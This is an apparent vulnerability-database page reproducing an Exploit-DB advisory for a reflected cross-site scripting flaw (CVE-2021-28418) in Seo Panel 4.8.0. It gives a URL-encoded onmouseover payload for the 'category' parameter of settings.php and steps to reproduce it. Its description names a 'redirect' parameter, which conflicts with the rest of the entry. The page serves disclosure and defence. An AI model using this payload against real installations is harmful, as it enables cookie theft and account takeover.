Lucene search
Seo Panel 4.8.0 - (category) Reflected XSS Vulnerability
Seo Panel 4.8.0 - Reflected XSS Vulnerability in 'Category' Parameter
Show more
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-2021-28418 | 18 Mar 202111:57 | – | cvelist |
 | Seo Panel 4.8.0 - 'category' Reflected XSS | 2 Jun 202100:00 | – | exploitdb |
 | BIT-seopanel-2021-28418 | 6 Mar 202411:06 | – | osv |
| CVE-2021-28418 | 18 Mar 202112:15 | – | osv |
 | CVE-2021-28418 | 18 Mar 202112:15 | – | cve |
 | Cross site scripting | 18 Mar 202112:15 | – | prion |
 | CVE-2021-28418 | 18 Mar 202112:15 | – | nvd |
 | Seo Panel 4.8.0 Cross Site Scripting | 2 Jun 202100:00 | – | packetstorm |
# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link: https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28418
-Description:
A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.
-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22
-Steps to reproduce:
1- Login to SEO admin panel
2- Visit:
http://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22
3- Hover your mouse to "Cancel" field
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo02 Jun 2021 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.002